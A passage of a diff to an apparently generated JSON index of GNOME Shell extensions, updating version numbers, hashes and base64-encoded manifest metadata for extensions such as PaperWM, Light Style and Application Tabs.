+    "43": {"version": "140", "sha256": "1n4gilaz0iaf2xgd1ns6pbh5fqjcsbnmgvkcac4py8z8nc7n2lhh", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRpbGluZyB3aW5kb3cgbWFuYWdlciB3aXRoIGEgdHdpc3QiLAogICJuYW1lIjogIlBhcGVyV00iLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucGFwZXJ3bSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3BhcGVyd20vUGFwZXJXTSIsCiAgInV1aWQiOiAicGFwZXJ3bUBwYXBlcndtLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMTQwLAogICJ2ZXJzaW9uLW5hbWUiOiAiNDQuMTguMSIKfQ=="},
+    "44": {"version": "140", "sha256": "1n4gilaz0iaf2xgd1ns6pbh5fqjcsbnmgvkcac4py8z8nc7n2lhh", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRpbGluZyB3aW5kb3cgbWFuYWdlciB3aXRoIGEgdHdpc3QiLAogICJuYW1lIjogIlBhcGVyV00iLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucGFwZXJ3bSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3BhcGVyd20vUGFwZXJXTSIsCiAgInV1aWQiOiAicGFwZXJ3bUBwYXBlcndtLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMTQwLAogICJ2ZXJzaW9uLW5hbWUiOiAiNDQuMTguMSIKfQ=="},
+    "45": {"version": "141", "sha256": "1jdp0q875z05ia0gnb07ziaq3ighg6cih1v9m4rlm66by50ad76h", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRpbGluZyB3aW5kb3cgbWFuYWdlciB3aXRoIGEgdHdpc3QiLAogICJuYW1lIjogIlBhcGVyV00iLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucGFwZXJ3bSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9wYXBlcndtL1BhcGVyV00iLAogICJ1dWlkIjogInBhcGVyd21AcGFwZXJ3bS5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDE0MSwKICAidmVyc2lvbi1uYW1lIjogIjQ4LjAuMiIKfQ=="},
+    "46": {"version": "141", "sha256": "1jdp0q875z05ia0gnb07ziaq3ighg6cih1v9m4rlm66by50ad76h", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRpbGluZyB3aW5kb3cgbWFuYWdlciB3aXRoIGEgdHdpc3QiLAogICJuYW1lIjogIlBhcGVyV00iLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucGFwZXJ3bSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9wYXBlcndtL1BhcGVyV00iLAogICJ1dWlkIjogInBhcGVyd21AcGFwZXJ3bS5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDE0MSwKICAidmVyc2lvbi1uYW1lIjogIjQ4LjAuMiIKfQ=="},
+    "47": {"version": "141", "sha256": "1jdp0q875z05ia0gnb07ziaq3ighg6cih1v9m4rlm66by50ad76h", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRpbGluZyB3aW5kb3cgbWFuYWdlciB3aXRoIGEgdHdpc3QiLAogICJuYW1lIjogIlBhcGVyV00iLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucGFwZXJ3bSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9wYXBlcndtL1BhcGVyV00iLAogICJ1dWlkIjogInBhcGVyd21AcGFwZXJ3bS5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDE0MSwKICAidmVyc2lvbi1uYW1lIjogIjQ4LjAuMiIKfQ=="},
+    "48": {"version": "141", "sha256": "1jdp0q875z05ia0gnb07ziaq3ighg6cih1v9m4rlm66by50ad76h", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRpbGluZyB3aW5kb3cgbWFuYWdlciB3aXRoIGEgdHdpc3QiLAogICJuYW1lIjogIlBhcGVyV00iLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucGFwZXJ3bSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9wYXBlcndtL1BhcGVyV00iLAogICJ1dWlkIjogInBhcGVyd21AcGFwZXJ3bS5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDE0MSwKICAidmVyc2lvbi1uYW1lIjogIjQ4LjAuMiIKfQ=="}
   }}
 , {"uuid": "lightshell@dikasp.gitlab", "name": "Light Shell", "pname": "light-shell", "description": "the missing full light style gnome shell theme you had been looking for :D\n\nDeprecated with Luminus extension v46+", "link": "https://extensions.gnome.org/extension/6102/light-shell/", "shell_version_map": {
     "42": {"version": "11", "sha256": "0fqshl06w2amy8d3gw2car4rab6zqpi79dg5dr05d5swggq1vm8n", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFwcGx5IGZ1bGwgbGlnaHQgdGhlbWUgaW50byBkZWZhdWx0IGdub21lIHNoZWxsLCBpbmNsdWRpbmcgbGlnaHQgb3ZlcnZpZXcuIiwKICAibmFtZSI6ICJMaWdodCBTaGVsbCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDIiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9kaWthc2V0eWFwcmF5b2dpL2xpZ2h0LXNoZWxsIiwKICAidXVpZCI6ICJsaWdodHNoZWxsQGRpa2FzcC5naXRsYWIiLAogICJ2ZXJzaW9uIjogMTEKfQ=="},
@@ -7212,8 +7233,8 @@
 , {"uuid": "light-style@gnome-shell-extensions.gcampax.github.com", "name": "Light Style", "pname": "light-style", "description": "Switch default to light style", "link": "https://extensions.gnome.org/extension/6198/light-style/", "shell_version_map": {
     "45": {"version": "3", "sha256": "1x846d9s4knv36g0wh3zmkmpkvv14jbb15qh9pa5xwmysbpbawh7", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlN3aXRjaCBkZWZhdWx0IHRvIGxpZ2h0IHN0eWxlIiwKICAiZXh0ZW5zaW9uLWlkIjogImxpZ2h0LXN0eWxlIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLWxpZ2h0LXN0eWxlIiwKICAibmFtZSI6ICJMaWdodCBTdHlsZSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5saWdodC1zdHlsZSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmdub21lLm9yZy9HTk9NRS9nbm9tZS1zaGVsbC1leHRlbnNpb25zIiwKICAidXVpZCI6ICJsaWdodC1zdHlsZUBnbm9tZS1zaGVsbC1leHRlbnNpb25zLmdjYW1wYXguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiAzCn0="},
     "46": {"version": "8", "sha256": "1f9lxc6rg72871jsdxlzsh6fzkjfrhw3g3kcr6y05gqfisg9nbcj", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlN3aXRjaCBkZWZhdWx0IHRvIGxpZ2h0IHN0eWxlIiwKICAiZXh0ZW5zaW9uLWlkIjogImxpZ2h0LXN0eWxlIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLWxpZ2h0LXN0eWxlIiwKICAibmFtZSI6ICJMaWdodCBTdHlsZSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5saWdodC1zdHlsZSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmdub21lLm9yZy9HTk9NRS9nbm9tZS1zaGVsbC1leHRlbnNpb25zIiwKICAidXVpZCI6ICJsaWdodC1zdHlsZUBnbm9tZS1zaGVsbC1leHRlbnNpb25zLmdjYW1wYXguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA4Cn0="},
-    "47": {"version": "9", "sha256": "0qiv1vdcfrrkyx3gfzmm5mlaf2y11dywlgmrkz3hg3nnzp5dgna5", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlN3aXRjaCBkZWZhdWx0IHRvIGxpZ2h0IHN0eWxlIiwKICAiZXh0ZW5zaW9uLWlkIjogImxpZ2h0LXN0eWxlIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLWxpZ2h0LXN0eWxlIiwKICAibmFtZSI6ICJMaWdodCBTdHlsZSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5saWdodC1zdHlsZSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmdub21lLm9yZy9HTk9NRS9nbm9tZS1zaGVsbC1leHRlbnNpb25zIiwKICAidXVpZCI6ICJsaWdodC1zdHlsZUBnbm9tZS1zaGVsbC1leHRlbnNpb25zLmdjYW1wYXguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA5Cn0="},
-    "48": {"version": "11", "sha256": "1ky4sdn4cigq5pnnvyn5mfi1430r6vkc4zih5r1a8vsycaq900fs", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlN3aXRjaCBkZWZhdWx0IHRvIGxpZ2h0IHN0eWxlIiwKICAiZXh0ZW5zaW9uLWlkIjogImxpZ2h0LXN0eWxlIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLWxpZ2h0LXN0eWxlIiwKICAibmFtZSI6ICJMaWdodCBTdHlsZSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5saWdodC1zdHlsZSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmdub21lLm9yZy9HTk9NRS9nbm9tZS1zaGVsbC1leHRlbnNpb25zIiwKICAidXVpZCI6ICJsaWdodC1zdHlsZUBnbm9tZS1zaGVsbC1leHRlbnNpb25zLmdjYW1wYXguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiAxMQp9"}
+    "47": {"version": "14", "sha256": "1l1ry8j59bv4378y10xhn3yj2p3k9vn9x9hhiwjvw2hqhfqmy6x6", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlN3aXRjaCBkZWZhdWx0IHRvIGxpZ2h0IHN0eWxlIiwKICAiZXh0ZW5zaW9uLWlkIjogImxpZ2h0LXN0eWxlIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLWxpZ2h0LXN0eWxlIiwKICAibmFtZSI6ICJMaWdodCBTdHlsZSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5saWdodC1zdHlsZSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmdub21lLm9yZy9HTk9NRS9nbm9tZS1zaGVsbC1leHRlbnNpb25zIiwKICAidXVpZCI6ICJsaWdodC1zdHlsZUBnbm9tZS1zaGVsbC1leHRlbnNpb25zLmdjYW1wYXguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiAxNAp9"},
+    "48": {"version": "13", "sha256": "1pdnb941kd0x8h7cp89d4pyflfc290m12blx4qlg34rnl98s6xj3", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlN3aXRjaCBkZWZhdWx0IHRvIGxpZ2h0IHN0eWxlIiwKICAiZXh0ZW5zaW9uLWlkIjogImxpZ2h0LXN0eWxlIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLWxpZ2h0LXN0eWxlIiwKICAibmFtZSI6ICJMaWdodCBTdHlsZSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5saWdodC1zdHlsZSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmdub21lLm9yZy9HTk9NRS9nbm9tZS1zaGVsbC1leHRlbnNpb25zIiwKICAidXVpZCI6ICJsaWdodC1zdHlsZUBnbm9tZS1zaGVsbC1leHRlbnNpb25zLmdjYW1wYXguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiAxMwp9"}
   }}
 , {"uuid": "transmission-daemon-ng@glerro.pm.me", "name": "Transmission Daemon Indicator NG", "pname": "transmission-daemon-indicator-ng", "description": "Monitor and control transmission-daemon or transmission-gtk.\nThe extension use the Transmission RPC protocol for interacting with it.\n\nFragments 2.0 user also can use this extension because it is a frontend for transmission-daemon.\n\nThis extension is only for Gnome Shell version major or equal to 43 because it use libsoup3.", "link": "https://extensions.gnome.org/extension/6204/transmission-daemon-indicator-ng/", "shell_version_map": {
     "43": {"version": "5", "sha256": "1g4dxrw7d9yik2y86l66nm50p7glyym6x0ff005kxmd42cl7dv9y", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1vbml0b3IgYW5kIGNvbnRyb2wgdHJhbnNtaXNzaW9uLWRhZW1vbiBvciB0cmFuc21pc3Npb24tZ3RrLlxuVGhlIGV4dGVuc2lvbiB1c2UgdGhlIFRyYW5zbWlzc2lvbiBSUEMgcHJvdG9jb2wgZm9yIGludGVyYWN0aW5nIHdpdGggaXQuXG5cbkZyYWdtZW50cyAyLjAgdXNlciBhbHNvIGNhbiB1c2UgdGhpcyBleHRlbnNpb24gYmVjYXVzZSBpdCBpcyBhIGZyb250ZW5kIGZvciB0cmFuc21pc3Npb24tZGFlbW9uLlxuXG5UaGlzIGV4dGVuc2lvbiBpcyBvbmx5IGZvciBHbm9tZSBTaGVsbCB2ZXJzaW9uIG1ham9yIG9yIGVxdWFsIHRvIDQzIGJlY2F1c2UgaXQgdXNlIGxpYnNvdXAzLiIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJrb2ZpIjogImdsZXJybyIKICB9LAogICJnZXR0ZXh0LWRvbWFpbiI6ICJnbm9tZS1zaGVsbC1leHRlbnNpb24tdHJhbnNtaXNzaW9uLWRhZW1vbi1uZyIsCiAgIm5hbWUiOiAiVHJhbnNtaXNzaW9uIERhZW1vbiBJbmRpY2F0b3IgTkciLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMudHJhbnNtaXNzaW9uLWRhZW1vbi1uZyIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5nbm9tZS5vcmcvZ2xlcnJvL2dub21lLXNoZWxsLWV4dGVuc2lvbi10cmFuc21pc3Npb24tZGFlbW9uLW5nIiwKICAidXVpZCI6ICJ0cmFuc21pc3Npb24tZGFlbW9uLW5nQGdsZXJyby5wbS5tZSIsCiAgInZlcnNpb24iOiA1Cn0="},
@@ -7278,10 +7299,10 @@
     "48": {"version": "8", "sha256": "1zgmhsfmnzvlrvw75vmg0bwy8ihrzinrxfighhcy1zwxnlqapz77", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXlzIG5vdGlmaWNhdGlvbnMgaWNvbiBpbiB0b3AgcGFuZWwiLAogICJuYW1lIjogIlRvcCBQYW5lbCBOb3RpZmljYXRpb24gSWNvbnMgUmV2aXZlZCIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5ub3RpZmljYXRpb24taWNvbnMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vYW5zLWlicmFoaW0vbm90aWZpY2F0aW9uLWljb25zIiwKICAidXVpZCI6ICJub3RpZmljYXRpb24taWNvbnNAbXVoYW1tYWRfYW5zLmdpdGh1YiIsCiAgInZlcnNpb24iOiA4Cn0="}
   }}
 , {"uuid": "huanghaohhoa@163.com", "name": "Application Tabs", "pname": "application-tabs", "description": "Panel will include a different window tab for the same application that is currently launched.\n1. You can see the application window intuitively\n2. Click tab to jump to or hide the corresponding window immediately.\n3. Click the Close button to close the window.\n4. Right click tab to show window function menu.\nWelcome to submit questions and features to repository.", "link": "https://extensions.gnome.org/extension/6254/application-tabs/", "shell_version_map": {
-    "45": {"version": "34", "sha256": "0w72gbznmhyjbn3pdpdblq6d8njc3kkkx1nw8mrgzk1w6v7vhv13", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlBhbmVsIHdpbGwgaW5jbHVkZSBhIGRpZmZlcmVudCB3aW5kb3cgdGFiIGZvciB0aGUgc2FtZSBhcHBsaWNhdGlvbiB0aGF0IGlzIGN1cnJlbnRseSBsYXVuY2hlZC5cbjEuIFlvdSBjYW4gc2VlIHRoZSBhcHBsaWNhdGlvbiB3aW5kb3cgaW50dWl0aXZlbHlcbjIuIENsaWNrIHRhYiB0byBqdW1wIHRvIG9yIGhpZGUgdGhlIGNvcnJlc3BvbmRpbmcgd2luZG93IGltbWVkaWF0ZWx5LlxuMy4gQ2xpY2sgdGhlIENsb3NlIGJ1dHRvbiB0byBjbG9zZSB0aGUgd2luZG93LlxuNC4gUmlnaHQgY2xpY2sgdGFiIHRvIHNob3cgd2luZG93IGZ1bmN0aW9uIG1lbnUuXG5XZWxjb21lIHRvIHN1Ym1pdCBxdWVzdGlvbnMgYW5kIGZlYXR1cmVzIHRvIHJlcG9zaXRvcnkuIiwKICAibmFtZSI6ICJBcHBsaWNhdGlvbiBUYWJzIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmFwcF90YWJzIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2hob2FvL2FwcF90YWJzIiwKICAidXVpZCI6ICJodWFuZ2hhb2hob2FAMTYzLmNvbSIsCiAgInZlcnNpb24iOiAzNAp9"},
-    "46": {"version": "34", "sha256": "0w72gbznmhyjbn3pdpdblq6d8njc3kkkx1nw8mrgzk1w6v7vhv13", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlBhbmVsIHdpbGwgaW5jbHVkZSBhIGRpZmZlcmVudCB3aW5kb3cgdGFiIGZvciB0aGUgc2FtZSBhcHBsaWNhdGlvbiB0aGF0IGlzIGN1cnJlbnRseSBsYXVuY2hlZC5cbjEuIFlvdSBjYW4gc2VlIHRoZSBhcHBsaWNhdGlvbiB3aW5kb3cgaW50dWl0aXZlbHlcbjIuIENsaWNrIHRhYiB0byBqdW1wIHRvIG9yIGhpZGUgdGhlIGNvcnJlc3BvbmRpbmcgd2luZG93IGltbWVkaWF0ZWx5LlxuMy4gQ2xpY2sgdGhlIENsb3NlIGJ1dHRvbiB0byBjbG9zZSB0aGUgd2luZG93LlxuNC4gUmlnaHQgY2xpY2sgdGFiIHRvIHNob3cgd2luZG93IGZ1bmN0aW9uIG1lbnUuXG5XZWxjb21lIHRvIHN1Ym1pdCBxdWVzdGlvbnMgYW5kIGZlYXR1cmVzIHRvIHJlcG9zaXRvcnkuIiwKICAibmFtZSI6ICJBcHBsaWNhdGlvbiBUYWJzIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmFwcF90YWJzIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2hob2FvL2FwcF90YWJzIiwKICAidXVpZCI6ICJodWFuZ2hhb2hob2FAMTYzLmNvbSIsCiAgInZlcnNpb24iOiAzNAp9"},
-    "47": {"version": "34", "sha256": "0w72gbznmhyjbn3pdpdblq6d8njc3kkkx1nw8mrgzk1w6v7vhv13", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlBhbmVsIHdpbGwgaW5jbHVkZSBhIGRpZmZlcmVudCB3aW5kb3cgdGFiIGZvciB0aGUgc2FtZSBhcHBsaWNhdGlvbiB0aGF0IGlzIGN1cnJlbnRseSBsYXVuY2hlZC5cbjEuIFlvdSBjYW4gc2VlIHRoZSBhcHBsaWNhdGlvbiB3aW5kb3cgaW50dWl0aXZlbHlcbjIuIENsaWNrIHRhYiB0byBqdW1wIHRvIG9yIGhpZGUgdGhlIGNvcnJlc3BvbmRpbmcgd2luZG93IGltbWVkaWF0ZWx5LlxuMy4gQ2xpY2sgdGhlIENsb3NlIGJ1dHRvbiB0byBjbG9zZSB0aGUgd2luZG93LlxuNC4gUmlnaHQgY2xpY2sgdGFiIHRvIHNob3cgd2luZG93IGZ1bmN0aW9uIG1lbnUuXG5XZWxjb21lIHRvIHN1Ym1pdCBxdWVzdGlvbnMgYW5kIGZlYXR1cmVzIHRvIHJlcG9zaXRvcnkuIiwKICAibmFtZSI6ICJBcHBsaWNhdGlvbiBUYWJzIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmFwcF90YWJzIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2hob2FvL2FwcF90YWJzIiwKICAidXVpZCI6ICJodWFuZ2hhb2hob2FAMTYzLmNvbSIsCiAgInZlcnNpb24iOiAzNAp9"},
-    "48": {"version": "34", "sha256": "0w72gbznmhyjbn3pdpdblq6d8njc3kkkx1nw8mrgzk1w6v7vhv13", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlBhbmVsIHdpbGwgaW5jbHVkZSBhIGRpZmZlcmVudCB3aW5kb3cgdGFiIGZvciB0aGUgc2FtZSBhcHBsaWNhdGlvbiB0aGF0IGlzIGN1cnJlbnRseSBsYXVuY2hlZC5cbjEuIFlvdSBjYW4gc2VlIHRoZSBhcHBsaWNhdGlvbiB3aW5kb3cgaW50dWl0aXZlbHlcbjIuIENsaWNrIHRhYiB0byBqdW1wIHRvIG9yIGhpZGUgdGhlIGNvcnJlc3BvbmRpbmcgd2luZG93IGltbWVkaWF0ZWx5LlxuMy4gQ2xpY2sgdGhlIENsb3NlIGJ1dHRvbiB0byBjbG9zZSB0aGUgd2luZG93LlxuNC4gUmlnaHQgY2xpY2sgdGFiIHRvIHNob3cgd2luZG93IGZ1bmN0aW9uIG1lbnUuXG5XZWxjb21lIHRvIHN1Ym1pdCBxdWVzdGlvbnMgYW5kIGZlYXR1cmVzIHRvIHJlcG9zaXRvcnkuIiwKICAibmFtZSI6ICJBcHBsaWNhdGlvbiBUYWJzIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmFwcF90YWJzIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2hob2FvL2FwcF90YWJzIiwKICAidXVpZCI6ICJodWFuZ2hhb2hob2FAMTYzLmNvbSIsCiAgInZlcnNpb24iOiAzNAp9"}
+    "45": {"version": "35", "sha256": "0xaisdc59iyql7pa8x5y6jw390fn1simmfncsz99y7i6sp0amk06", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlBhbmVsIHdpbGwgaW5jbHVkZSBhIGRpZmZlcmVudCB3aW5kb3cgdGFiIGZvciB0aGUgc2FtZSBhcHBsaWNhdGlvbiB0aGF0IGlzIGN1cnJlbnRseSBsYXVuY2hlZC5cbjEuIFlvdSBjYW4gc2VlIHRoZSBhcHBsaWNhdGlvbiB3aW5kb3cgaW50dWl0aXZlbHlcbjIuIENsaWNrIHRhYiB0byBqdW1wIHRvIG9yIGhpZGUgdGhlIGNvcnJlc3BvbmRpbmcgd2luZG93IGltbWVkaWF0ZWx5LlxuMy4gQ2xpY2sgdGhlIENsb3NlIGJ1dHRvbiB0byBjbG9zZSB0aGUgd2luZG93LlxuNC4gUmlnaHQgY2xpY2sgdGFiIHRvIHNob3cgd2luZG93IGZ1bmN0aW9uIG1lbnUuXG5XZWxjb21lIHRvIHN1Ym1pdCBxdWVzdGlvbnMgYW5kIGZlYXR1cmVzIHRvIHJlcG9zaXRvcnkuIiwKICAibmFtZSI6ICJBcHBsaWNhdGlvbiBUYWJzIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmFwcF90YWJzIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM